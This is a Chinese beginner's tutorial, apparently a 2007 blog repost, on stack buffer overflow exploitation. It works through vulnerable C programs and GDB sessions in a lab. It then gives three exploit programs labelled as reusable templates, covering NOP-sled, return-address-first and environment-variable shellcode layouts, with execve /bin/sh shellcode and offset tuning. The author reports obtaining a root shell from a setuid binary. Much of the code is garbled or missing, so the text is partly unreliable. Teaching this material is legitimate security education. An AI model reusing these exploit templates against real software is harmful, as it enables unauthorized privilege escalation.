这篇是我见过的写的最细致关于缓冲区溢出攻击的文章,浅显易懂,适合初学
本来预备讲的东西很多,后来由于篇幅过长原因,所以其他一些内容就没有再讲了,比如与环境变量
由于篇幅问题,在这里就省略了,具体可以参照汇编教程,或其他缓冲区溢出教程中的预备知识. 这里仅仅请不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念. # %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部. # %ebp 是基址寄存器,它指向当前堆栈储存区域的底部. # %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器) 2.三种常用溢出方法. 首先,我们来看一个有漏洞的程序 [tt@ph4nt0m explab]$ cat stack1.c 这里做了什么呢?就是构造一个10BYTES的BUFFER,然后把命令行的第一个参数拷贝进缓冲区 [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x10'` 可见当覆盖10BYTES的"A"时,程序正常退出,24BYTES也是如此,直到28BYTES时,才发生SEGMENT FAULT 我们用GDB来调试一下会比较清楚 [tt@ph4nt0m explab]$ gdb stack1 这里我们只需要注意到 0x18等于10进制的24 那么,我们到底覆盖了什么呢?重新运行程序,用28BYTES覆盖 (gdb) r `perl -e 'print "A"x28'` Program received signal SIGSEGV, Segmentation fault. 再次重新运行,这次再多加4BYTES,即用32BYTES覆盖 (gdb) r `perl -e 'print "A"x32'` Program received signal SIGSEGV, Segmentation fault. 通过上面两个实例,可以看到,当28BYTES时,将覆盖EBP,32BYTES时,将覆盖EIP 所以内存中实际上是这样分布的 +---------+
注意,我们要覆盖的EIP那个值,应该是我们要运行代码的入口地址,而不是代码本身. 我们再来做一个演示 [tt@ph4nt0m explab]$ cat stackdemo.c } 与之前略有区别的是这个程序中多了一个函数FUN,但是在MAIN()中没有调用,所以程序应该不调用 通过前面的结论,我们知道,覆盖28字节后,再加上4字节将覆盖EIP,所以,只需要把这4字节,设置成FUN的
[tt@ph4nt0m explab]$ ./stackdemo test 可以看到函数fun的入口地址在0x0804835c 所以我们这样来构造应该可以调用到函数fun [tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "/x5c/x83/x04/x08"'` 段错误
通过上面的分析,我们已经基本上掌握了程序运行时,内存中的分布,那么,现在来看真正的攻击 我们通过覆盖EIP,改变程序流程,从而执行SHELLCODE,得到一个SHELL 下面介绍常用的三种方法. 1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型 这种方法适合于大缓冲区,是很传统的方法,记得ALPHA ONE在他的经典著作中就是用的这个方法 这里N代表NOPS,也就是0x90,在实际运行中,程序将什么也不做,而是一直延着这些NOPS运行下去, 使用大量NOPS的原因是为了增加EXPLOIT成功的机率. S代表SHELLCODE,也就是我们要执行的一段代码,得到SHELL,SHELLCODE的相关问题请参考相关文档. R代表返回地址,在下面我都用ret表示,是我们用来覆盖EIP的那个值,他将指向SHELLCODE
我们来看实际例子 [tt@ph4nt0m explab]$ cat stack2.c int main(int argc,char **argv){ } 我们设置了一个BUF为500字节的大BUFFER,用前面的方法,用GDB反汇编得到覆盖EIP 就是不断测试造成溢出所需字节数,来判断覆盖所需要字节 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'` 这样,最后我们就确定了溢出点,和反汇编的结果一致 Program received signal SIGSEGV, Segmentation fault. (gdb) disass main
下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的模板. [tt@ph4nt0m explab]$ cat stackexp2.c char shellcode[]= // execve /bin/sh // exit();
} int main(int argc,char *argv[]){ /* offset=400 will success */ ret=get_esp()-offset; memset(buf,0x90,sizeof(buf)); memcpy(buf+524,(char*)&ret,4); /* modify this value will modify nops and shellcode addr */ printf("ret is at 0x%8x/n esp is at 0x%8x/n",ret,get_esp()); execl("./stack2","stack2",buf,NULL); return 0; 先用 再 再接下来就是 最后就是用 剩下的一个难点就是RET的值的确定 因为程序的流程已经很清楚了,但是RET是我们必需要小心控制的,因为他不能落到别的地方,必需落 这里使用的方法一般是ESP-OFFSET的方法 所以我们先 } 取得ESP的值,虽然这个值和EXECL后漏洞程序的ESP的值不同,但不会相差很远.然后再用OFFSET来调整, 我们打印出BUF的地址,因为我们的NOPS是从BUF开始的,所以只需要直到BUF的地址,把RET控制在&BUF+100 具体可以通过GDB调试来看
Program received signal SIGTRAP, Trace/breakpoint trap. Program received signal SIGSEGV, Segmentation fault. 看到了我们的SHELLCODE了吧! 但是我们的RET没有跳到这里来, 那么我们改变OFFSET [tt@ph4nt0m explab]$ ./stackexp2 看!当我们的OFFSET到400时,就成功溢出拿到SHELL了! 为什么不是ROOT? [tt@ph4nt0m explab]$ ls stack2 -l 看!拿到ROOT SHELL了,中彩票了!!! 2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型 这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法! 原理是: 而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造 我们看原来的第一个例子 [tt@ph4nt0m explab]$ cat stack1.c int main(int argc,char **argv){ } 在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放 我们采用RRRRNNNNSSSSS型的填充方法. 下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板 [tt@ph4nt0m explab]$ cat stackexp3.c char shellcode[]= int main(int argc,char **argv){ p=&buf; memset(buf,0x90,sizeof(buf)); for(i=0;i<44;i+=4) memcpy(buf+400+i,shellcode,strlen(shellcode)); execl("./stack1","stack1",buf,NULL); return 0; 先分配一个500BYTES的大BUF,用于我们的构造 然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了. 接下来把SHELLCODE复制到合适的位置. 最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序
我们的BUF的结构是RRRRRRNNNNNNNSSSSSS 从而我们这样计算 ret=p+70; 显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看 [tt@ph4nt0m explab]$ ./stackexp3 内存分布如下 (gdb) x/50x $esp-36 中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS 3.利用环境变量 这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址, 函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍. 具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>> 简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存 这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置! 这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
int main(int argc,char **argv){ } 下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板 [tt@ph4nt0m explab]$ cat stackexp1.c char shellcode[]= int main(int argc,char **argv){ memset(buf,0x41,sizeof(buf)); printf("ret is at 0x%8x/n",ret); return 0; 把SHELLCODE放入将要执行的环境变量中 把整个BUF用A填满 计算RET的值,并覆盖EIP 最后执行execve()
Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6 (gdb) x/50x $esp (gdb) c (gdb) x/50x 0xbfffffc1
[tt@ph4nt0m explab]$ ./stackexp1
最后,简单说说关于传递环境变量到BUF造成溢出的问题 很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时, 通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量 由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考. [tt@ph4nt0m explab]$ cat env1.c int main(int argc, char **argv){ printf("buf addr is- %p -/n", &buffer); return 0; 下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板 [tt@ph4nt0m explab]$ cat envexp1.c char shellcode[]= unsigned long get_esp(){ int main(int argc, char **argv){ /* set offset to 100 to spawn a shell! */ ret=get_esp()-offset; memcpy(buf+524,&ret,4); setenv("PH4NT0M",buf,1); printf("retaddr is at 0x%lx /n",ret); execl("./env1","env1",NULL); return 0; 运行结果如下,OFFSET取100时,造成溢出,得到SHELL [tt@ph4nt0m explab]$ ./envexp1 |
缓冲区溢出攻击 原理 浅显易懂 适合初学
最新推荐文章于 2023-05-20 21:00:23 发布
转]缓冲区溢出攻击 原理 浅显易懂 适合初学
2007年12月08日 星期六 08:49 P.M.